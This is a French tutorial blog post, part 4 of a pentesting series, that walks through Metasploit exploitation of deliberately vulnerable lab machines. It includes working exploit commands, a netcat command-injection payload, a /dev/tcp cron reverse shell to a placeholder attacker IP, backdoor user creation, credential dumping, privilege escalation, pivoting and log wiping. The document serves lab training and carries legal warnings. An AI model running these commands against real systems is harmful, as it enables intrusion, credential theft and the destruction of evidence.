Menu
Accueil Articles {{t.nav.bookmarks}} {{t.nav.experience}} {{t.nav.profiles}} À propos Travaillons ensemble
Cybersecurity concept visualization
Sécurité Mar 8, 2026 • 28 min de lecture

Exploitation: From Vulnerability to Shell

Master Metasploit Framework, exploit real vulnerabilities, escalate privileges, and pivot through networks. The complete guide to ethical exploitation techniques.

Partager:
Lee Foropoulos

Lee Foropoulos

28 min de lecture

Continue where you left off?
Text size:

Contents

Le Chemin du Hacker : Une Série en 5 Parties

Partie 1 : IntroductionPartie 2 : Maîtrise du FlipperPartie 3 : Fondamentaux de KaliPartie 4 : ExploitationPartie 5 : L'Audit Complet

Dans les Parties 1-3, tu as construit ta boîte à outils. Tu sais cloner des badges, cartographier des réseaux, capturer des handshakes et identifier chaque service qui tourne sur une cible. Tu vois des vulnérabilités partout maintenant. Mais voir une vulnérabilité et l'exploiter sont des compétences très différentes.

C'est ici que ça devient sérieux. Aujourd'hui tu vas apprendre à utiliser le Metasploit Framework, le même outil utilisé par les pentesters professionnels dans le monde entier. Tu vas exploiter ta première vulnérabilité, établir la persistance, escalader les privilèges et apprendre à pivoter à travers un réseau.

La Ligne Que Tu Ne Dois Pas Franchir

Tout ce qui est dans cet article doit être pratiqué sur des systèmes que tu possèdes ou pour lesquels tu as une autorisation écrite explicite. L'accès non autorisé à des systèmes informatiques est un crime fédéral passible de peines allant jusqu'à 20 ans d'emprisonnement. "J'étais juste en train d'apprendre" n'est pas une défense. Construis un lab, utilise des VMs intentionnellement vulnérables, et ne touche jamais à des systèmes qui ne t'appartiennent pas.

Partie 1 : Construire Ton Lab d'Attaque

Avant d'exploiter quoi que ce soit, tu as besoin de cibles. Les vrais pentesters utilisent des environnements de lab isolés avec des machines intentionnellement vulnérables. Tu feras pareil.

La Configuration Essentielle du Lab

Ce Dont Tu Auras Besoin

  • Kali Linux VM - Ta machine d'attaque (de la Partie 3)
  • Metasploitable 2 - VM Linux intentionnellement vulnérable (SourceForge)
  • Metasploitable 3 - VM Windows/Linux vulnérable (GitHub)
  • DVWA - Damn Vulnerable Web Application (GitHub)
  • VulnHub VMs - Machines vulnérables style CTF (vulnhub.com)

Projet : Configuration Réseau du Lab

Temps : 45 minutes

  1. Télécharge Metasploitable 2 depuis SourceForge
  2. Importe dans VirtualBox/VMware
  3. Configure le réseau : Mets Kali et Metasploitable en "Host-Only" ou "Internal Network"
  4. Démarre Metasploitable (login par défaut : msfadmin / msfadmin)
  5. Note l'adresse IP : ifconfig
  6. Depuis Kali, vérifie la connectivité : ping METASPLOITABLE_IP
  7. Lance un scan initial : sudo nmap -sV -sC METASPLOITABLE_IP

Vérification : Tu devrais voir des dizaines de ports ouverts. Metasploitable est conçu pour être compromis.

Ton scan nmap de Metasploitable devrait révéler des services comme FTP, SSH, Telnet, SMTP, HTTP, Samba, MySQL, PostgreSQL et plus encore, beaucoup tournant des versions obsolètes et vulnérables. C'est ton terrain de jeu.

Partie 2 : Fondamentaux du Metasploit Framework

Metasploit n'est pas qu'un outil. C'est un écosystème. Il contient des milliers d'exploits, de payloads, de modules auxiliaires et d'outils de post-exploitation. Comprendre sa structure est essentiel.

4,000+
Modules d'exploit disponibles dans le Metasploit Framework, couvrant chaque plateforme majeure et classe de vulnérabilité.

Démarrer Metasploit

bash
1# Initialize the database (first time only)
2sudo msfdb init
3
4# Start Metasploit console
5msfconsole
6
7# You'll see the Metasploit banner and prompt:
8msf6 >

La Structure de Metasploit

Metasploit organise tout en modules :

  • Exploits - Code qui tire avantage des vulnérabilités
  • Payloads - Code qui s'exécute après l'exploitation (shells, meterpreter)
  • Auxiliary - Scanners, fuzzers et autres utilitaires
  • Post - Modules de post-exploitation pour la persistance, le pivotement
  • Encoders - Obscurcissent les payloads pour échapper à la détection
bash
1# Search for modules
2msf6 > search type:exploit platform:linux smb
3
4# Search by CVE
5msf6 > search cve:2017-0144
6
7# Search by name
8msf6 > search vsftpd
9
10# Get info about a module
11msf6 > info exploit/unix/ftp/vsftpd_234_backdoor

Le Workflow d'Exploitation

Chaque exploitation dans Metasploit suit le même schéma :

  1. Sélectionne un exploit - use exploit/path/to/module
  2. Configure les options - IP cible, ports, identifiants
  3. Sélectionne un payload - Ce qui s'exécute après l'exploitation
  4. Exécute - exploit ou run
Cybersecurity operations with code on multiple screens
Le Metasploit Framework fournit une approche structurée de l'exploitation, transformant la recherche de vulnérabilités en workflows professionnels et reproductibles.

Partie 3 : Ton Premier Exploit

Exploitons l'une des portes dérobées les plus célèbres de l'histoire : la backdoor vsftpd 2.3.4. En 2011, quelqu'un a inséré une porte dérobée dans le code source de vsftpd. Si tu envoies un nom d'utilisateur se terminant par :), un shell s'ouvre sur le port 6200.

Metasploitable 2 exécute exactement cette version.

bash
1# Start Metasploit
2msfconsole
3
4# Search for the exploit
5msf6 > search vsftpd
6
7# Select the exploit
8msf6 > use exploit/unix/ftp/vsftpd_234_backdoor
9
10# View required options
11msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options
12
13# Set the target
14msf6 exploit(...) > set RHOSTS 192.168.56.101
15
16# Run the exploit
17msf6 exploit(...) > exploit
18
19# If successful:
20[*] Command shell session 1 opened
21[+] Got shell!
22
23# You now have a root shell on the target
24whoami
25root
26id
27uid=0(root) gid=0(root)

C'est tout. Un service vulnérable, un exploit, accès root. Voilà pourquoi maintenir les logiciels à jour est important.

Un service vulnérable, un exploit, accès root. Voilà pourquoi maintenir les logiciels à jour est important.

Projet : Exploiter la Backdoor vsftpd

Temps : 15 minutes

Prérequis : Metasploitable 2 en marche, Kali sur le même réseau

  1. Vérifie que FTP tourne : nmap -sV -p 21 TARGET_IP
  2. Lance msfconsole
  3. Cherche, sélectionne et configure l'exploit vsftpd
  4. Exécute l'exploit
  5. Une fois que tu as un shell, explore : cat /etc/shadow

Critère de réussite : Tu peux lire /etc/shadow, auquel seul root peut accéder.

Partie 4 : Comprendre les Payloads

Un payload est ce qui s'exécute après que l'exploit a réussi. Le shell basique qu'on a obtenu ci-dessus est simple, mais Metasploit offre des options bien plus puissantes.

Types de Payloads

  • Singles - Payloads autonomes à usage unique (ajouter un utilisateur, exécuter une commande)
  • Stagers - Petits payloads qui établissent une connexion, puis téléchargent le payload principal
  • Stages - Le payload principal téléchargé par le stager (Meterpreter)
bash
1# List compatible payloads for current exploit
2msf6 exploit(...) > show payloads
3
4# Set a specific payload
5msf6 exploit(...) > set PAYLOAD linux/x86/meterpreter/reverse_tcp
6
7# Payload naming convention:
8# platform/arch/payload_type/connection_type
9# linux/x86/meterpreter/reverse_tcp
10# windows/x64/shell/bind_tcp

Reverse vs Bind Shells

  • Reverse shell - La cible se connecte à toi. Meilleur pour contourner les firewalls (le trafic sortant est généralement autorisé).
  • Bind shell - La cible ouvre un port pour que tu te connectes. Plus facile à détecter, souvent bloqué par les firewalls.
bash
1# For reverse shells, you must set your IP
2msf6 exploit(...) > set LHOST YOUR_KALI_IP
3msf6 exploit(...) > set LPORT 4444
4
5# Metasploit starts a listener automatically when you exploit

Meterpreter : Le Payload Ultime

Meterpreter est le payload le plus puissant de Metasploit. Il s'exécute entièrement en mémoire (aucun fichier sur le disque), fournit une communication chiffrée et inclut des dizaines de commandes intégrées pour la post-exploitation.

bash
1# Meterpreter commands (once you have a session)
2meterpreter > sysinfo          # System information
3meterpreter > getuid           # Current user
4meterpreter > pwd              # Current directory
5meterpreter > ls               # List files
6meterpreter > download file    # Download file to Kali
7meterpreter > upload file      # Upload file to target
8meterpreter > shell            # Drop to system shell
9meterpreter > hashdump         # Dump password hashes
10meterpreter > screenshot       # Take screenshot
11meterpreter > keyscan_start    # Start keylogger
12meterpreter > keyscan_dump     # Dump keystrokes
13meterpreter > background       # Background this session

Partie 5 : Plus de Techniques d'Exploitation

Exploiter Samba (SMB)

Metasploitable 2 exécute une version vulnérable de Samba. C'est similaire au célèbre exploit EternalBlue utilisé dans WannaCry.

bash
1# Search for Samba exploits
2msf6 > search type:exploit samba
3
4# The "username map script" vulnerability
5msf6 > use exploit/multi/samba/usermap_script
6msf6 exploit(...) > set RHOSTS TARGET_IP
7msf6 exploit(...) > set PAYLOAD cmd/unix/reverse
8msf6 exploit(...) > set LHOST YOUR_IP
9msf6 exploit(...) > exploit
10
11[*] Command shell session 2 opened

Exploiter des Identifiants Faibles

Tous les compromis ne nécessitent pas une vulnérabilité logicielle. Les mots de passe faibles sont partout.

bash
1# SSH brute-force auxiliary module
2msf6 > use auxiliary/scanner/ssh/ssh_login
3msf6 auxiliary(...) > set RHOSTS TARGET_IP
4msf6 auxiliary(...) > set USERNAME root
5msf6 auxiliary(...) > set PASS_FILE /usr/share/wordlists/rockyou.txt
6msf6 auxiliary(...) > set STOP_ON_SUCCESS true
7msf6 auxiliary(...) > run
8
9# For known credentials
10msf6 > use auxiliary/scanner/ssh/ssh_login
11msf6 auxiliary(...) > set USERNAME msfadmin
12msf6 auxiliary(...) > set PASSWORD msfadmin
13msf6 auxiliary(...) > run
14
15[+] 192.168.56.101:22 - Success: 'msfadmin:msfadmin'

Exploitation d'Applications Web

Metasploitable inclut plusieurs applications web vulnérables. Exploitons une injection de code PHP.

bash
1# First, browse to http://TARGET/mutillidae/
2# Find the "User Lookup" page (vulnerable to SQLi and code injection)
3
4# Use Metasploit's web exploits
5msf6 > search type:exploit php
6
7# Or exploit manually with command injection:
8# In vulnerable input field:
9; cat /etc/passwd
10; nc -e /bin/bash YOUR_IP 4444

Projet : Exploiter Trois Services Différents

Temps : 60 minutes

Cible : Metasploitable 2

  1. Exploiter la backdoor vsftpd (FTP - port 21) et obtenir un shell root
  2. Exploiter Samba usermap_script (SMB - port 139/445) et obtenir un shell root
  3. Cracker les identifiants SSH (port 22) en utilisant auxiliary/scanner/ssh/ssh_login
  4. Documenter chaque exploitation : module utilisé, options configurées, résultat

Bonus : Explore les applications web sur le port 80 et trouve des vecteurs d'exploitation manuels.

Partie 6 : Post-Exploitation

Obtenir un shell n'est que le début. Les vrais tests de pénétration nécessitent de démontrer ce qu'un attaquant pourrait faire avec cet accès. C'est la post-exploitation.

Collecte d'Informations

text
1# From a Meterpreter session
2meterpreter > sysinfo
3Computer    : metasploitable
4OS          : Linux 2.6.24
5Architecture: i686
6Meterpreter : x86/linux
7
8# Network information
9meterpreter > ipconfig
10meterpreter > route
11meterpreter > arp
bash
1# From a regular shell
2cat /etc/passwd       # All users
3cat /etc/shadow       # Password hashes (requires root)
4cat /etc/hosts        # Network mappings
5netstat -tulpn        # Open ports
6ps aux                # Running processes
7crontab -l            # Scheduled tasks

Récolte d'Identifiants

text
1# Dump password hashes
2meterpreter > hashdump
3root:$1$XtqVHIvN$0MnR7..........:0:0:root:/root:/bin/bash
4msfadmin:$1$XN10Zj2c$Rt/zzC........:1000:1000::/home/msfadmin:/bin/bash
bash
1# Or from shell
2cat /etc/shadow
3
4# Crack hashes offline with John the Ripper
5john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt
6
7# Or hashcat (faster with GPU)
8hashcat -m 500 hashes.txt /usr/share/wordlists/rockyou.txt

Établir la Persistance

La persistance signifie maintenir l'accès même après des redémarrages ou quand ton vecteur d'exploit initial est corrigé.

bash
1# Add a new user with sudo access
2useradd -m -s /bin/bash hacker
3echo "hacker:password123" | chpasswd
4usermod -aG sudo hacker
5
6# Add SSH key for passwordless access
7mkdir /home/hacker/.ssh
8echo "YOUR_PUBLIC_KEY" >> /home/hacker/.ssh/authorized_keys
9
10# Cron-based reverse shell (reconnects every minute)
11echo "* * * * * /bin/bash -c 'bash -i >& /dev/tcp/YOUR_IP/4444 0>&1'" >> /var/spool/cron/crontabs/root
12
13# Metasploit persistence module
14meterpreter > run persistence -h
15meterpreter > run persistence -X -i 60 -p 4444 -r YOUR_IP

Persistance = Preuves

Chaque mécanisme de persistance laisse des traces. Dans un vrai test de pénétration, tu documentes ce que tu pourrais faire, puis tu nettoies. Laisser des portes dérobées sur les systèmes des clients est non professionnel et potentiellement illégal. Dans ton lab, fais-toi plaisir, mais comprends les implications.

Partie 7 : Escalade de Privilèges

Souvent tu obtiens l'accès initial en tant qu'utilisateur avec peu de privilèges. Escalader vers root/admin est généralement nécessaire pour atteindre les objectifs du test.

Escalade de Privilèges Linux

bash
1# Current user context
2id
3whoami
4
5# SUID binaries (run as owner regardless of who executes)
6find / -perm -4000 -type f 2>/dev/null
7
8# World-writable directories
9find / -writable -type d 2>/dev/null
10
11# Sudo permissions
12sudo -l
13
14# Kernel version (for kernel exploits)
15uname -a
16
17# Running processes as root
18ps aux | grep root
19
20# Cron jobs
21cat /etc/crontab
22ls -la /etc/cron.*

Scripts d'Énumération Automatisée

bash
1# Upload and run LinPEAS
2# From Kali, host the script:
3python3 -m http.server 8000
4
5# From target:
6wget http://YOUR_IP:8000/linpeas.sh
7chmod +x linpeas.sh
8./linpeas.sh
9
10# LinPEAS highlights potential vectors in colors:
11# RED/YELLOW = Critical findings, likely exploitable

Vecteurs Courants de Privesc Linux

bash
1# 1. Sudo misconfiguration
2sudo -l
3# If you see: (ALL) NOPASSWD: /usr/bin/vim
4sudo vim -c '!sh'
5# Instant root shell
6
7# 2. SUID binary exploitation
8# If /usr/bin/find has SUID bit:
9find . -exec /bin/sh -p \;
10
11# 3. Writable /etc/passwd
12# Generate password hash:
13openssl passwd -1 mypassword
14# Add to /etc/passwd:
15echo 'hacker:$1$xyz$...:0:0:root:/root:/bin/bash' >> /etc/passwd
16
17# 4. Cron job exploitation
18# If a cron runs a writable script as root:
19echo 'chmod +s /bin/bash' >> /path/to/cron/script
20# Wait for cron, then:
21/bin/bash -p
22# Root shell

Escalade de Privilèges Windows

Si tu testes des cibles Windows (Metasploitable 3), les techniques diffèrent :

text
1# From Meterpreter on Windows
2meterpreter > getuid
3Server username: VICTIM\lowpriv_user
4
5meterpreter > getsystem
6[+] ...got SYSTEM
7
8# If getsystem fails, try:
9meterpreter > run post/multi/recon/local_exploit_suggester
10
11# Or background and use specific exploit:
12meterpreter > background
13msf6 > use exploit/windows/local/ms16_032_secondary_logon_handle_privesc
14msf6 exploit(...) > set SESSION 1
15msf6 exploit(...) > exploit

Projet : Escalader d'Utilisateur à Root

Temps : 45 minutes

Scénario : Tu as un accès SSH à Metasploitable en tant que msfadmin (non root)

  1. SSH vers Metasploitable : ssh msfadmin@TARGET
  2. Exécute id pour confirmer que tu n'es pas root
  3. Vérifie les permissions sudo : sudo -l
  4. Cherche les binaires SUID : find / -perm -4000 2>/dev/null
  5. Uploade et exécute LinPEAS
  6. Identifie un vecteur de privesc et exploite-le

Objectif : Obtenir un shell root en utilisant autre chose que l'exploitation d'un service réseau.

Hacker working on code in a dark environment
L'escalade de privilèges transforme un accès limité en contrôle total du système, souvent grâce à des erreurs de configuration négligées plutôt que des exploits sophistiqués.

Partie 8 : Pivotement

Le pivotement consiste à utiliser un système compromis pour attaquer d'autres systèmes qui ne sont pas directement accessibles depuis ta machine d'attaque. C'est ainsi que les attaquants se déplacent latéralement à travers les réseaux.

Le Scénario de Pivot

Imagine ce réseau :

  • Ton Kali : 192.168.1.100
  • Hôte compromis : 192.168.1.50 (aussi connecté au réseau interne 10.0.0.0/24)
  • Cible : 10.0.0.10 (accessible uniquement depuis 192.168.1.50)

Tu ne peux pas atteindre 10.0.0.10 directement. Mais via l'hôte compromis, tu peux.

Routage Metasploit

text
1# After getting a Meterpreter session on the pivot host
2meterpreter > ipconfig
3# Shows two interfaces: 192.168.1.50 and 10.0.0.50
4
5meterpreter > run autoroute -s 10.0.0.0/24
6[+] Added route to 10.0.0.0/24 via session 1
7
8meterpreter > background
9
10# Now Metasploit routes 10.0.0.0/24 traffic through session 1
11msf6 > route print
12
13# Scan the internal network
14msf6 > use auxiliary/scanner/portscan/tcp
15msf6 auxiliary(...) > set RHOSTS 10.0.0.1-254
16msf6 auxiliary(...) > set PORTS 22,80,443,445
17msf6 auxiliary(...) > run
18
19# Exploit internal targets through the pivot
20msf6 > use exploit/windows/smb/ms17_010_eternalblue
21msf6 exploit(...) > set RHOSTS 10.0.0.10
22msf6 exploit(...) > exploit

Proxy SOCKS pour un Accès Complet

bash
1# Set up a SOCKS proxy through Meterpreter
2msf6 > use auxiliary/server/socks_proxy
3msf6 auxiliary(...) > set SRVPORT 1080
4msf6 auxiliary(...) > run
5
6# Configure proxychains (/etc/proxychains4.conf)
7socks5 127.0.0.1 1080
8
9# Now any tool can access the internal network
10proxychains nmap -sT -Pn 10.0.0.10
11proxychains curl http://10.0.0.10
12proxychains ssh [email protected]

Tunnels SSH (Sans Metasploit)

bash
1# Dynamic port forwarding (SOCKS proxy)
2ssh -D 1080 user@pivot_host
3
4# Local port forwarding (specific port)
5ssh -L 8080:10.0.0.10:80 user@pivot_host
6# Now localhost:8080 reaches 10.0.0.10:80
7
8# Remote port forwarding (expose your service to internal network)
9ssh -R 4444:localhost:4444 user@pivot_host
10# Internal hosts can reach your port 4444 via pivot_host:4444

Partie 9 : Couvrir ses Traces

Les pentesters professionnels documentent leur accès mais nettoient derrière eux. Comprendre comment les attaquants couvrent leurs traces t'aide aussi à détecter les intrusions.

bash
1# Clear bash history
2history -c
3cat /dev/null > ~/.bash_history
4
5# Clear auth logs (requires root)
6echo "" > /var/log/auth.log
7echo "" > /var/log/wtmp
8echo "" > /var/log/btmp
9
10# Remove specific log entries
11sed -i '/YOUR_IP/d' /var/log/auth.log
12
13# Timestomp (change file timestamps)
14touch -r /etc/passwd /path/to/your/file
15
16# Meterpreter
17meterpreter > clearev          # Clear Windows event logs
18meterpreter > timestomp file -m "01/01/2020 12:00:00"

En Mission Réelle : Ne Fais Pas Ça

Les pentesters professionnels documentent leur accès et rapportent leurs découvertes. Ils ne les cachent pas. Effacer les logs détruit des preuves dont les défenseurs ont besoin pour comprendre le chemin d'attaque. Ne pratique ces techniques que dans ton environnement de lab isolé.

Le Chemin du Hacker

Une série en 5 parties qui te mène de curieux à compétent.

Partie 1 : Introduction Partie 2 : Maîtrise du Flipper Partie 3 : Fondamentaux de Kali Partie 4 : Exploitation ✓ Partie 5 : Audit Complet

Checklist de la Partie 4

☐ Configuration du Lab : Metasploitable 2 en marche, réseau isolé configuré

☐ Metasploit : Base de données initialisée, navigation de base maîtrisée

☐ Premier Exploit : Backdoor vsftpd exploitée, shell root obtenu

☐ Vecteurs Multiples : FTP, SMB exploités et identifiants SSH crackés

☐ Post-Exploitation : Hash de mots de passe extraits, système énuméré

☐ Escalade de Privilèges : Escaladé d'utilisateur à root sans exploit réseau

☐ Pivotement : Comprendre les concepts d'autoroute et proxy SOCKS

☐ Documentation : Tous les exploits documentés avec étapes et preuves

Plan d'Action Compétences d'Exploitation 0/5

La Suite

Tu as appris à exploiter des vulnérabilités, escalader des privilèges et pivoter à travers des réseaux. Tu as vu à quelle vitesse une seule faiblesse devient un compromis total. Tu comprends ce que font les pentesters professionnels.

Dans la Partie 5, on rassemble tout. Tu vas mener un audit de sécurité complet du début à la fin :

  • Cadrage et règles d'engagement
  • Méthodologie complète de reconnaissance
  • Exploitation systématique
  • Post-exploitation exhaustive
  • Rapport professionnel
  • Recommandations de remédiation

La Partie 5 est le projet final. Tout ce que tu as appris à travers cette série se rassemble en une méthodologie concrète que tu peux utiliser pour évaluer la sécurité de n'importe quel réseau que tu es autorisé à tester.

Tu as appris les techniques. Maintenant tu apprends la méthodologie. La Partie 5 transforme les compétences en un workflow complet de test de pénétration.

On se retrouve dans la Partie 5.

How was this article?

Partager

Link copied to clipboard!

You Might Also Like

Lee Foropoulos

Lee Foropoulos

Business Development Lead at Lookatmedia, fractional executive, and founder of gotHABITS.

🔔

Ne manquez aucun article

Recevez une notification lors de la publication de nouveaux articles. Aucun courriel requis.

Vous verrez une banniere sur le site quand il y a un nouvel article, plus une notification navigateur si vous autorisez.

Notifications du navigateur uniquement. Pas de spam, pas de courriel.

0 / 0